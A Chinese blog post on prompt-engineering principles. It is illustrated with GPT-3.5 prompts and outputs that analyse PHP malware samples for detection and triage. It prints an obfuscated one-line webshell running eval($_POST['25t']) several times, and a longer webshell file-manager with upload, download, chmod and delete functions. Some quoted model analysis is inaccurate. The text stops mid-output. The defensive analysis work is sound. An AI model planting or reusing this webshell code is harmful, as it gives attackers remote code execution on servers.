Prompt Engineering優化原則

2023-05-23 12:00:31

一、LLM prompt優化原則

本文圍繞「PHP程式碼解釋」這一任務,討論LLM prompt優化原則。

程式碼樣例如下:

<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>

我們會根據不同的原則,修改對應的prompt提示詞,並觀察、分析GPT-3.5 Turbo得到的迴應。

總體來說,iterative prompt development的迴圈如下圖所示,

prompt guidelines

  • Be clear and specific
  • Analyze why result does not give desired output
  • Refine the idea and the prompt
  • Repeat 

 

二、Principle 1 - Write clear and specific instructions

0x1:Tactic 1:Use delimiters

分隔符有很多好處,例如:

  • 可以清楚地指示輸入的不同部分,明確讓模型知道分隔符內是一個單獨的部分
  • 避擴音示衝突,提示衝突是指如果允許使用者向提示中新增一些輸入,可能導致prompt injection等安全風險

常用的分隔符如下:

  • """
  • ```
  • ---
  • < ... >
  • <tag> ... </tag>

我們展示未使用分隔符和使用分隔符,gpt-3.5返回的區別:

1、未使用分隔符

// prompt input: 
你是一個安全專家,我會給你一段程式碼,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>


// gpt-3.5 output: 
這段程式碼先輸出字串"a5a5aa555o",然後定義了一個匿名函數$fOgT,使用了一些字串混淆和加密來動態構建了一個字串"eval($_POST['25t']);",並將其作為引數傳遞給了eval函數,最終通過呼叫$fOgT函數來執行這個字串。

如果這段程式碼存在嚴重惡意行為,那麼它被判定為惡意樣本的依據是它可能導致遠端程式碼執行漏洞。這段程式碼使用了字串混淆和加密來構建惡意程式碼,最終呼叫了eval函數來執行惡意程式碼。惡意程式碼的內容是從使用者POST提交的引數中提取的,因此攻擊者可以通過傳送惡意請求來控制惡意程式碼的執行。

如果這段程式碼存在嚴重惡意行為,那麼應該立即將這個檔案刪除,並且對伺服器進行安全檢查和修復,以確保沒有被利用的漏洞存在。同時應該記錄和分析這個檔案的來源和傳播路徑,以便進一步的安全分析和追溯。

2、使用分隔符

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
  ```
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```

// gpt-3.5 output: 
1. 這段程式碼先輸出字串"a5a5aa555o",然後定義了一個匿名函數$fOgT,使用了一些字串混淆和加密來動態構建了一個字串"eval($_POST['25t']);",並將其作為引數傳遞給了eval函數,最終通過呼叫$fOgT函數來執行這個字串。
2. 程式碼中使用了混淆和加密來動態構建一個字串並傳遞給了eval函數,這個字串最終會執行使用者POST提交的引數,這種行為非常危險,可能導致遠端程式碼執行漏洞,被判定為惡意樣本。
3. 應該立即將這個檔案刪除,並且對伺服器進行安全檢查和修復,以確保沒有被利用的漏洞存在。同時應該記錄和分析這個檔案的來源和傳播路徑,以便進一步的安全分析和追溯。

可以看到,使用分隔符後,LLM生成的回答更加簡潔,有條理。

0x2:Tactic 2:Ask for structured output

結構化輸出可以使得下游處理模組更容易進行形式化處理。

常見的格式化格式包括:

  • HTML
  • JSON
// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
請使用JSON格式生成結果,下面是一個JSON結果的例子,使用~~~json~~~作為分隔符

JSON結果的例子為:
  ~~~
{
    [
    "behavior": "請逐行解釋下這段程式碼做了什麼",
    "reason": "如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據",
    "solution": "如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案"
    ],
}

  ~~~

要分析的程式碼為:
  ```
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```



// gpt-3.5 output: 
{
  "behavior": [
    "第一行輸出 'a5a5aa555o'",
    "第二行使用create_function函數建立一個函數$fOgT",
    "函數$fOgT的定義為:將base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607)拼接起來,使用chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)作為函數體執行;",
    "第三行使用create_function建立的函數$fOgT,將字串base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')進行解碼,然後作為引數傳入函數體進行執行。",
    "函數體執行的結果是eval($_POST['25t']),如果POST的引數中包含惡意程式碼,則會執行惡意程式碼,造成安全問題。"
  ],
  "reason": "該程式碼使用了create_function函數動態建立函數,同時使用base64_decode和str_rot13等函數對程式碼進行混淆,增加了程式碼審查難度。而且函數體執行的是eval($_POST['25t']),如果POST的引數中含有惡意程式碼,則可能導致惡意程式碼執行,造成安全問題。",
  "solution": "1. 立即從伺服器上刪除該檔案;\n2. 對伺服器進行檢查,檢視是否存在其他惡意檔案;\n3. 對惡意檔案進行分析,找出受影響的使用者和資料;\n4. 及時通知受影響的使用者,並協助處理受影響的資料;\n5. 對伺服器進行加固,增強安全措施,避免類似事件再次發生。"
}

0x3:Check whether conditions are satisfied  

如果目標任務存在一些前置假設需要滿足,我們可以告訴模型首先檢查這些假設,只有當滿足條件時,才進行生成,避免生成意外結果。 

1、前置條件滿足

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
注意,只有程式碼中存在安全風險時才繼續回答我的問題,如果程式碼不存在風險則返回一個空字串。


要分析的程式碼為:
  ```
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```


// gpt-3.5 output: 
該程式碼存在嚴重的惡意行為。首先,程式碼使用了create_function函數動態建立函數,同時使用base64_decode和str_rot13等函數對程式碼進行混淆,增加了程式碼審查難度。其次,函數體執行的是eval($_POST['25t']),如果POST的引數中含有惡意程式碼,則可能導致惡意程式碼執行,造成安全問題。

為了保障伺服器的安全,應立即從伺服器上刪除該檔案,並對伺服器進行檢查,檢視是否存在其他惡意檔案。對惡意檔案進行分析,找出受影響的使用者和資料,並及時通知受影響的使用者,協助處理受影響的資料。同時,對伺服器進行加固,增強安全措施,避免類似事件再次發生。

2、前置條件不滿足

// prompt input: 
你是一個安全專家,我會給你一段程式碼,程式碼使用```code```作為分隔符,你要從三個方面回答我的問題。
1. 請逐行解釋下這段程式碼做了什麼?
2. 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
3. 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
注意,只有程式碼中存在安全風險時才繼續回答我的問題,如果程式碼不存在風險則返回一個空字串。


要分析的程式碼為:
  ```
<?php
echo "a5a5aa555o";
?>
```


// gpt-3.5 output: 
根據程式碼分析,該程式碼不存在明顯的安全風險,因此不需要回答問題,返回一個空字串。

0x4:Few-shot prompting

在要求模型執行任務之前,提供成功執行任務的範例。

前面JSON格式那個小章節裡,筆者已經展示了Few-shot prompt的範例。

這裡再給出一個範例,將沙箱紀錄檔逐行和原始碼一一對應,沙箱紀錄檔通過註釋形式跟在每行原始碼後面,

// prompt input: 
你是一個資深安全專家,正在進行一個程式碼安全檢查任務,我會給你一段程式碼,程式碼使用```code```作為分隔符,以及該程式碼的函數呼叫鏈及汙點傳播紀錄檔,函數呼叫鏈及汙點傳播紀錄檔使用```functions```分隔符。
在分析之前,請按照如下方法對程式碼進行預處理。
步驟1: 合併字串拼接結果
步驟2: 將變數替換為對應的值內容或者右值內容
步驟3: 將變數函數呼叫替換為對應的值內容或者右值內容
預處理完成後,請逐步執行以下任務。
任務1: 請逐行解釋下程式碼做了什麼,要分析的程式碼使用```code```作為分隔符。
任務2: 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
任務3: 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
  ```
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```

函數呼叫鏈及汙點傳播紀錄檔為:
```
[{
"current_node": {
"name": "eval",
"line": 2000001,
"offset":   0
},
"function_name":    {
"name": "eval()"
},
"function_arg": {
"value":    "",
"original_tags":    [{
"name": "$_POST",
"line": 2000001,
"offset":   0
}],
"way_tags": [],
"credit":   1
},
"child_node_is_black":  false,
"function_name_is_black":   false,
"function_arg_is_black":    true,
"stack":    ["eval()", "eval()", "CREATE_FUNCTION_LAMBDA_1()", "GLOBAL"],
"stack_details":    [{
"name": "eval()",
"line": 2000001,
"offset":   0
}, {
"name": "eval()",
"line": 1000001,
"offset":   0
}, {
"name": "CREATE_FUNCTION_LAMBDA_1()",
"line": 4,
"offset":   0
}, {
"name": "GLOBAL",
"line": 1,
"offset":   0
}]
}]```



// gpt-3.5 output: 
預處理後的程式碼為:

<?php
echo "a5a5aa555o";
$fOgT = create_function('$some', 'eval($some);'); //("$some", "eval($some);")
$fOgT('936437;@evAl($_POST['25t']);2809311;'); //("936437;@evAl($_POST['25t']);2809311;")
?>
任務1:
這段程式碼首先輸出字串"a5a5aa555o",然後定義了一個匿名函數$fOgT。使用create_function函數將一大坨字串轉換成函數程式碼,最終得到一個可以執行的程式碼。接著,呼叫$fOgT函數,並傳入一個字串作為引數。傳入的字串中包含混淆的程式碼,通過eval函數執行這段混淆的程式碼,從而實現了程式碼執行的目的。

任務2:
這段程式碼被判定為惡意樣本的依據在於其中使用了eval函數執行混淆的程式碼,混淆的程式碼中包含了從$_POST陣列中獲取資料,並執行該資料的操作。這意味著攻擊者可以通過POST請求向該指令碼傳送惡意程式碼,進而實現遠端程式碼執行,造成安全威脅。

任務3:
考慮將該檔案刪除或者隔離,避免其繼續對系統造成安全威脅。如果該檔案是系統必要的一部分,可以考慮對其進行修復或者加固。另外,建議對系統進行全面安全檢查,尋找其他類似的安全問題並及時解決。

 

再對比一下不帶沙箱紀錄檔註釋的,效果差了很多。

待解決問題:

怎麼把ast和沙箱紀錄檔融合到prompt template中,並給出一個few-shot範例,讓模型output更加精準和可讀化。

輸入待分析的混合原始碼

  • 原始碼和ast/沙箱紀錄檔每一行一一對應起來
  • 每一行原始碼,對應ast汙點傳播紀錄檔和動態執行資訊

輸出的分析結果:

  • output的時候,每一行原始碼下面跟一行註釋,註釋中解釋該行原始碼具體程式碼邏輯以及安全風險

 

三、Principle 2 - Give the model time to think

0x1:Tactic 1:Specify the steps to complete a task

一種思考方式是,如果你給模型一個太複雜的任務,在短時間或少數詞中完成它,模型可能會猜測結果,這可能是不正確的。

// prompt input: 
你是一個安全專家,我會給你一段程式碼,請逐步執行以下任務。
任務1: 請逐行解釋下程式碼做了什麼,要分析的程式碼使用```code```作為分隔符。
任務2: 如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。
任務3: 如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。
任務4: 使用JSON格式生成結果,下面是一個JSON結果的例子,使用~~~json~~~作為分隔符
JSON結果的例子為:
  ~~~
{
    [
    "behavior": "請逐行解釋下這段程式碼做了什麼",
    "reason": "如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據",
    "solution": "如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案"
    ],
}
  ~~~

要分析的程式碼為:
  ```
<?php
echo "a5a5aa555o";
$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739)); //("$some", "eval($some);")
$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7')); //("936437;@evAl($_POST['25t']);2809311;")
?>
```


// gpt-3.5 output: 
<?php
echo "a5a5aa555o"; //輸出字串"a5a5aa555o"

$fOgT = create_function(base64_decode('JA==') . chr(114195 / 993) . str_rot13('b') . str_rot13('z') . chr(708 - 607), chr(0xc60e / 0x1f6) . base64_decode('dg==') . str_rot13('n') . chr(390 - 282) . chr(0x1ae - 0x186) . chr(0x3ac - 0x388) . chr(0xd561 / 0x1db) . base64_decode('bw==') . base64_decode('bQ==') . base64_decode('ZQ==') . str_rot13(')') . chr(798 - 739));
//建立一個函數$fOgT,該函數使用動態建立函數的方式建立,接受一個引數,該引數是將base64解碼後的"eval($_POST['25t']);"經過一系列加密的字串

$fOgT(base64_decode('OTM2N' . 'DM3O0' . 'BldkF' . 'sKCRf' . '' . str_rot13('H') . str_rot13('R') . chr(41382 / 726) . str_rot13('G') . 'VFsnMj' . 'V0J10p' . 'OzI4MD' . 'kzMTE7'));
//執行函數$fOgT,將引數解碼後的字串"936437;@evAl($_POST['25t']);2809311;"當作引數傳入,函數執行後會將該字串當作程式碼執行,可能會對伺服器造成危害
?>

這段程式碼被判定為惡意樣本的依據如下:
1. 程式碼中使用了動態建立函數的方式建立一個函數,該函數接受一個引數,將該引數當作程式碼執行,可能會對伺服器造成危害;
2. 程式碼中使用了base64編碼和字串加密等手段來隱藏惡意程式碼;
3. 程式碼中沒有被使用的輸出語句「echo "a5a5aa555o";」和沒有被使用的變數「$fOgT」可能是為了混淆程式碼而存在的。

如果該檔案被判定為惡意樣本,應立即將其從伺服器上刪除,同時應對伺服器進行安全檢查,以確保沒有留下其他的後門或惡意程式。

{
    "behavior": "這段程式碼使用了動態建立函數的方式建立一個函數,該函數接受一個引數,將該引數當作程式碼執行,可能會對伺服器造成危害,同時使用了base64編碼和字串加密等手段來隱藏惡意程式碼。",
    "reason": "程式碼中的輸出語句和變數沒有被使用,可能是為了混淆程式碼而存在;程式碼中包含了對POST請求引數的eval操作,可能會導致遠端執行任意惡意程式碼。",
    "solution": "如果該檔案被判定為惡意樣本,應立即將其從伺服器上刪除,同時應對伺服器進行安全檢查,以確保沒有留下其他的後門或惡意程式。"
}

另一個任務分解的例子是針對單個超大文字、大量文字的summary任務。

還是以PHP程式碼解釋為例,假設我們面對的是一個擁有大量程式碼邏輯的大檔案,我們可以通過prompt工程設計,讓LLM分步驟實現對大文字的分層抽象總結。

// prompt input: 
你是一個資深安全專家,正在進行一個程式碼安全檢查任務,我會給你一段程式碼,程式碼使用```code```作為分隔符,請逐步執行以下任務。
任務1: 遍歷整段程式碼內容,並對其中的函數宣告定義和函數呼叫進行功能性描述總結
任務2: 在任務1描述性總結的基礎上,分析整體函數呼叫序列,並生成對應的樣本行為描述總結
任務3: 任務2樣本行為描述總結的基礎上,給出一個概括性的描述,並回答三個方面的問題: 1)這段程式碼做了什麼?2)如果這段程式碼存在嚴重惡意行為,請論述這段程式碼被判定為惡意樣本的依據。3)如果這段程式碼存在嚴重惡意行為,請回答怎麼處置這個檔案。

程式碼為:
  ```
<?php

$password = "x";//設定密碼

error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
set_time_limit(0);

function Root_GP(&$array)
{
    while(list($key,$var) = each($array))
    {
        if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
        {
            if(is_string($var)) $array[$key] = stripslashes($var);
            if(is_array($var)) $array[$key] = Root_GP($var);  
        }
    }
    return $array;
}

function Root_CSS()
{
print<<<END
<style type="text/css">
    *{padding:0; margin:0;}
    body{background:threedface;font-family:"Verdana", "Tahoma", "宋體",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
    a{color:#000000;text-decoration:none;}
    a:hover{background:#BBBBBB;}
    table{color:#000000;font-family:"Verdana", "Tahoma", "宋體",sans-serif;font-size:13px;border:1px solid #999999;}
    td{background:#F9F6F4;}
    .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
    .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
    .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
</style>\n
END;
return false;
}

//檔案管理
class packdir
{
    var $out = '';
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
    function packdir($array)
    {
        if(@function_exists('gzcompress'))
        {
            for($n = 0;$n < count($array);$n++)
            {
                $array[$n] = urldecode($array[$n]);
                $fp = @fopen($array[$n], 'r');
                $filecode = @fread($fp, @filesize($array[$n]));
                @fclose($fp);
                $this -> filezip($filecode,basename($array[$n]));
            }
            @closedir($zhizhen);
            $this->out = $this->packfile();
            return true;
        }
        return false;
    }
    function at($atunix = 0)
    {
        $unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
        if ($unixarr['year'] < 1980)
        {
            $unixarr['year']    = 1980;
            $unixarr['mon']     = 1;
            $unixarr['mday']    = 1;
            $unixarr['hours']   = 0;
            $unixarr['minutes'] = 0;
            $unixarr['seconds'] = 0;
        } 
        return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
    }
    function filezip($data, $name, $time = 0)
    {
        $name = str_replace('\\', '/', $name);
        $dtime = dechex($this->at($time));
        $hexdtime   = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr = "\x50\x4b\x03\x04";
        $fr .= "\x14\x00";
        $fr .= "\x00\x00";
        $fr .= "\x08\x00";
        $fr .= $hexdtime;
        $unc_len = strlen($data);
        $crc = crc32($data);
        $zdata = gzcompress($data);
        $c_len = strlen($zdata);
        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $fr .= pack('V', $crc);
        $fr .= pack('V', $c_len);
        $fr .= pack('V', $unc_len);
        $fr .= pack('v', strlen($name));
        $fr .= pack('v', 0);
        $fr .= $name;
        $fr .= $zdata;
        $fr .= pack('V', $crc);
        $fr .= pack('V', $c_len);
        $fr .= pack('V', $unc_len);
        $this -> datasec[] = $fr;
        $new_offset = strlen(implode('', $this->datasec));
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x14\x00";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x08\x00";
        $cdrec .= $hexdtime;
        $cdrec .= pack('V', $crc);
        $cdrec .= pack('V', $c_len);
        $cdrec .= pack('V', $unc_len);
        $cdrec .= pack('v', strlen($name) );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('V', 32 );
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset = $new_offset;
        $cdrec .= $name;
        $this -> ctrl_dir[] = $cdrec;
    }
    function packfile()
    {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00";
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function File_Size($size)
{
    if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
    elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
    elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
    else $size = $size . ' B';
    return $size;
}

function File_Mode()
{
    $RealPath = realpath('./');
    $SelfPath = $_SERVER['PHP_SELF'];
    $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
    return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}

function File_Read($filename)
{
    $handle = @fopen($filename,"rb");
    $filecode = @fread($handle,@filesize($filename));
    @fclose($handle);
    return $filecode;
}

function File_Write($filename,$filecode,$filemode)
{
    $key = true;
    $handle = @fopen($filename,$filemode);
    if(!@fwrite($handle,$filecode))
    {
        @chmod($filename,0666);
        $key = @fwrite($handle,$filecode) ? true : false;
    }
    @fclose($handle);
    return $key;
}

function File_Up($filea,$fileb)
{
    $key = @copy($filea,$fileb) ? true : false;
    if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;
    return $key;
}

function File_Down($filename)
{
    if(!file_exists($filename)) return false;
    $filedown = basename($filename);
    $array = explode('.', $filedown);
    $arrayend = array_pop($array);
    header('Content-type: application/x-'.$arrayend);
    header('Content-Disposition: attachment; filename='.$filedown);
    header('Content-Length: '.filesize($filename));
    @readfile($filename);
    exit;
}

function File_Deltree($deldir)
{
    if(($mydir = @opendir($deldir)) == NULL) return false;  
    while(false !== ($file = @readdir($mydir)))
    {
        $name = File_Str($deldir.'/'.$file);
        if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);}
        if(is_file($name)){@chmod($name,0777);@unlink($name);}
    } 
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
}

function File_Act($array,$actall,$inver)
{
    if(($count = count($array)) == 0) return '請選擇檔案';
    if($actall == 'e')
    {
        $zip = new packdir;
        if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;}
        return '打包所選檔案失敗';
    }
    $i = 0;
    while($i < $count)
    {
        $array[$i] = urldecode($array[$i]);
        switch($actall)
        {
            case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路徑錯誤'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '複製到'.$inver.'目錄'; break;
            case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '刪除'; break;
            case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '屬性值錯誤'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '屬性修改為'.$inver; break;
            case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改時間為'.$inver; break;
        }
        $i++;
    }
    return '所選檔案'.$msg.'完畢';
}

?>
```


// gpt-3.5 output: 
任務1:遍歷整段程式碼內容,並對其中的函數宣告定義和函數呼叫進行功能性描述總結。

函數宣告定義:

Root_GP:對陣列進行遞迴地去除斜槓反斜槓和跳脫字元
Root_CSS:生成一段CSS樣式程式碼
packdir:檔案壓縮處理類
File_Str:對檔案路徑進行標準化處理
File_Size:將檔案大小轉換為可讀性強的字串
File_Mode:獲取當前檔案所在目錄
File_Read:讀取檔案內容
File_Write:寫入檔案內容
File_Up:上傳檔案
File_Down:下載檔案
File_Deltree:刪除目錄及其下所有檔案和子目錄
函數呼叫:

error_reporting:設定錯誤報告級別
header:設定響應頭資訊
set_time_limit:設定指令碼執行的最大時間
strtoupper:將字串轉換為大寫
intval:將字串轉換為整數
is_string:判斷變數是否為字串型別
stripslashes:去除字串中的反斜槓
is_array:判斷變數是否為陣列型別
basename:獲取檔名
crc32:計算CRC校驗值
gzcompress:壓縮字串
readfile:讀取檔案並輸出
opendir:開啟目錄
readdir:讀取目錄中的檔案
is_dir:判斷是否為目錄
is_file:判斷是否為檔案
unlink:刪除檔案
rmdir:刪除目錄
任務2:在任務1描述性總結的基礎上,分析整體函數呼叫序列,並生成對應的樣本行為描述總結。

整體函數呼叫序列:

error_reporting:設定錯誤報告級別
header:設定響應頭資訊
set_time_limit:設定指令碼執行的最大時間
Root_CSS:生成一段CSS樣式程式碼
packdir:檔案壓縮處理類
File_Str:對檔案路徑進行標準化處理
File_Size:將檔案大小轉換為可讀性強的字串
File_Mode:獲取當前檔案所在目錄
File_Read:讀取檔案內容
File_Write:寫入檔案內容
File_Up:上傳檔案
File_Down:下載檔案
File_Deltree:刪除目錄及其下所有檔案和子目錄
Root_GP:對陣列進行遞迴地去除斜槓反斜槓和跳脫字元
樣本行為描述總結:
